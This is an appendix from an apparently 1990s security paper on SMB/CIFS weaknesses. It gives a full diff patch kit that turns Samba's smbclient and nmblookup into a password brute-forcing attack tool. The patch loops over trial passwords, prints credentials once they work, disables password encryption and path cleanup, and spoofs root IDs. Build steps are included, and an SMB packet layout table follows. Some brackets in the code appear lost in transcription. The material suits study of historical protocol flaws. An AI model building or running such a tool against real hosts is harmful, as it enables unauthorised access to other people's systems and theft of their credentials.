Appendix B: The Patch Kit
=========================
This illustrates some minimal changes needed to turn smbclient into a
rudimentary attack kit. It does not cover *every* possibility of protocol
weakness by any means, but is enough to get going with some fairly serious
host-level attacks. Briefly, the following changes are effected:
Adds the interpret_error routine to help straighten out server errors
Corrects conversion of security mode
Loops forever reading new trial passwords from standard input
No-ops out the dos_clean_name() path cleanup routine, and allows
changing to what appear to be "bad" directory paths.
Fixes nmblookup to use local UDP port 137 and verbatim scope ID
Apply the patch using your favorite method for doing so; extracting it to a
file and doing "
patch < file" generally suffices. Configure the Makefile for
your platform, and add -DATTACK to FLAGS1. If you want all passwords
automatically uppercased, also add -DUPPERCASE. This is optional, since
mixed-case passwords are sometimes needed. Don't define PASSWD_FLAGS, so the
client cannot use password encryption. Finally, do "make smbclient nmblookup"
to build the two programs.
These changes are decidedly quick and dirty, but should illustrate how to
begin putting together a much more sophisticated tool. Looking a little
farther forward immediately shows several improvements not implemented here:
The send_login routine covers three important steps in one linear shot and
should be split up into its logically separate SMB steps. Several more
commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and
other possibly relevant parameters. Overall, the entire breakin scenario
can be highly automated.
!-- chop --!
*** client.c Mon Jan 15 03:56:44 1996
--- attack/client.c Thu Jan 30 23:14:59 1997
***************
*** 80,81 ****
--- 80,152 ----
+ /* Avian Research demo "SMBAttack" patch kit. _H*/
+ #ifdef ATTACK
+ unsigned int cur_err;
+
+ #define dos_clean_name donothing
+ void donothing () { return; }
+
+ #define getpass readpass
+ char * readpass (prompt)
+ char * prompt;
+ {
+ char pb 256;
+ char * pp = NULL;
+
+ DEBUG(1,(prompt));
+ pp = fgets (pb, 128, stdin);
+ if (feof (stdin)) exit (0);
+ if (pp) {
+ pp (strlen (pp) - 1) = '\0'; /* rip the newline */
+ #ifdef UPPERCASE
+ strupper (pp); /* maybe upcase it? XXX */
+ #endif
+ strcpy (password, pp); /* and save it */
+ }
+ return (pp);
+ } /* readpass */
+
+ /****************************************************************************
+ The error returns from various platforms are many and varied, but all of
+ them mean a couple of basic things. This boils relevant ones down roughly
+ to common server-class status, i.e.:
+ 0 success
+ 2 access denied, or wrong username/passwd for session OR share
+ 5 network-ID not found, for session
+ 6 sharename not found, TCon problem
+ 1 anything else, probably fatal, including disabled accounts,
+ negotiation problems, etc
+ ****************************************************************************/
+ static int interpret_error (rcls, err)
+ unsigned char rcls;
+ uint16 err;
+ {
+ if ((rcls == 0) && (err == 0)) return (0); /* no error */
+ if (rcls == ERRSRV) {
+ if (err == 1) return (1); /* non-specific error */
+ if (err == 2) return (2); /* bad name or password */
+ if (err == 4) return (1); /* insufficient access for function */
+ if (err == 5) return (5); /* invalid TID */
+ if (err == 6) return (6); /* invalid network name */
+ if (err == 7) return (6); /* invalid device */
+ if (err == 1311) return (1); /* no login servers available ? */
+ if (err == 2239) return (1); /* account expired or disabled */
+ } /* ERRSRV */
+ if (rcls == ERRDOS) {
+ if (err == 5) return (2); /* access denied */
+ if (err == 65) return (1); /* network access denied */
+ if (err == 67) return (6); /* network name not found */
+ if (err == 71) return (1); /* no more connections */
+ if (err == 86) return (2); /* network password incorrect */
+ if (err == 87) return (1); /* parameter incorrect */
+ if (err == 90) return (1); /* too many UIDs */
+ /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so wtf. */
+ if (err == 2240) return (1); /* access denied from this WS */
+ if (err == 2241) return (1); /* access denied at this time */
+ if (err == 2242) return (1); /* password expired */
+ if (err == 2247) return (1); /* security database corrupted */
+ if (err == 2455) return (1); /* invalid workgroup */
+ } /* ERRDOS */
+ return (1); /* didn't find any mapping */
+ } /* interpret_error */
+ #endif /* ATTACK */
***************
*** 171,172 ****
--- 242,247 ----
SSVAL(outbuf,smb_flg2,0x1);
+ #ifdef ATTACK
+ SCVAL(outbuf,smb_flg,0x18); /* already-canonical filenames */
+ SSVAL(outbuf,smb_flg2,0x2001); /* execute perm == read perm ? */
+ #endif /* ATTACK */
}
***************
*** 282,283 ****
--- 357,364 ----
+ #ifdef ATTACK
+ /* we don't care if it's a bad path or not */
+ if (report && CVAL(inbuf,smb_rcls) != 0)
+ DEBUG(2,(" [but continuing anyway]\n"));
+ return (True);
+ #endif /* ATTACK */
return(CVAL(inbuf,smb_rcls) == 0);
***************
*** 447,450 ****
--- 528,533 ----
strcpy(dname,cur_dir);
+ #ifndef ATTACK
strcat(cur_dir,"\\");
dos_clean_name(cur_dir);
+ #endif /* ATTACK */
***************
*** 834,837 ****
if (CVAL(inbuf,smb_rcls) != 0)
return(False);
!
/* parse out the lengths */
--- 917,927 ----
if (CVAL(inbuf,smb_rcls) != 0)
+ #ifdef ATTACK
+ /* show us why */
+ {
+ DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
+ return (False);
+ }
+ #else
return(False);
! #endif /* ATTACK */
/* parse out the lengths */
***************
*** 3014,3016 ****
! DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
DEBUG(3,("max xmt %d\n",max_xmit));
--- 3104,3106 ----
! DEBUG(3,("Sec mode %d\n",sec_mode)); /* fixt. _H*/
DEBUG(3,("max xmt %d\n",max_xmit));
***************
*** 3020,3021 ****
--- 3110,3119 ----
doencrypt = ((sec_mode & 2) != 0);
+ #ifdef ATTACK
+ /* don't encrypt, period */
+ doencrypt = 0;
+ /* don't screw with SessSetupX step unless we genuinely need it */
+ use_setup = ((sec_mode & 1) != 0);
+ /* always read a password anyways */
+ got_pass = 0;
+ #endif /* ATTACK */
***************
*** 3103,3104 ****
--- 3201,3211 ----
+ #ifdef ATTACK
+ cur_err = interpret_error (
+ CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+ if (cur_err == 2) {
+ DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
+ goto get_pass;
+ }
+ #endif /* ATTACK */
+
if (CVAL(inbuf,smb_rcls) != 0)
***************
*** 3129,3130 ****
--- 3236,3241 ----
+ #ifdef ATTACK
+ /* we're in */
+ DEBUG(0,("session established as %s/%s\n", username, password));
+ #endif /* ATTACK */
if (Protocol >= PROTOCOL_NT1) {
***************
*** 3193,3194 ****
--- 3304,3313 ----
+ #ifdef ATTACK
+ cur_err = interpret_error (
+ CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+ if (cur_err == 2) {
+ DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
+ goto get_pass;
+ }
+ #endif /* ATTACK */
/* trying again with a blank password */
***************
*** 3217,3219 ****
!
max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
--- 3336,3341 ----
! #ifdef ATTACK
! /* we're in */
! DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
! #endif /* ATTACK */
max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
***************
*** 3863,3865 ****
receive_smb(Client,buffer,0);
!
#ifdef CLIX
--- 3985,3991 ----
receive_smb(Client,buffer,0);
! #ifdef ATTACK
! /* don't send chkpath-keepalives on a nonexistent tcon */
! if (cnum == 0)
! continue;
! #endif /* ATTACK */
#ifdef CLIX
***************
*** 4043,4044 ****
--- 4169,4177 ----
umask(myumask);
+ #ifdef ATTACK
+ /* oh, c'mon. */
+ pid = 2048;
+ uid = 0;
+ gid = 0;
+ mid = 2048;
+ #endif /* ATTACK */
*** nmblookup.c Thu Jan 30 20:52:47 1997
--- attack/nmblookup.c Tue Jan 21 01:39:16 1997
***************
*** 54,56 ****
--- 54,60 ----
+ #ifdef ATTACK
+ ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
+ #else
ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
+ #endif /* ATTACK */
***************
*** 142,144 ****
--- 146,150 ----
strcpy(scope,optarg);
+ #ifndef ATTACK
strupper(scope);
+ #endif /* ATTACK */
break;
!-- chop --!
Appendix C: Overview of an SMB packet
=====================================
This is [roughly] the structure of an SMB packet as found inside the TCP
payload and Samba's internal buffers. The leading length integer is not part
of the SMB proper, and does not always appear under other transport types.
For further details, see CIFS section 2.4.
offset name size contents / comments
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0 [length int.] 4 TCP transport-layer data length
4 header start 4 0xFF, 'S', 'M', 'B'
8 SMB command 1 cmd code
9 smb_rcls 2 error class; 0 = no error
11 smb_err 2 error code ; 0 = no error
13 smb_flg 1
14 smb_flg2 2
16 [filler] 12
28 TID 2
30 PID 2
32 UID 2
34 MID 2
36 word count 1 number of following parameter words
37 smb_vwv0 2 0x00FF [intel order] if no AndX cmd
39 smb_vwv1 2 0x0000 if no batched AndX stuff
41 smb_vwv2 2 ...
... to a variable length's worth ...
?? buffers * smb_buf() finds this offset
... SMB ends at (TCP-len + 4) ...
_H* 970130
(prev page - top)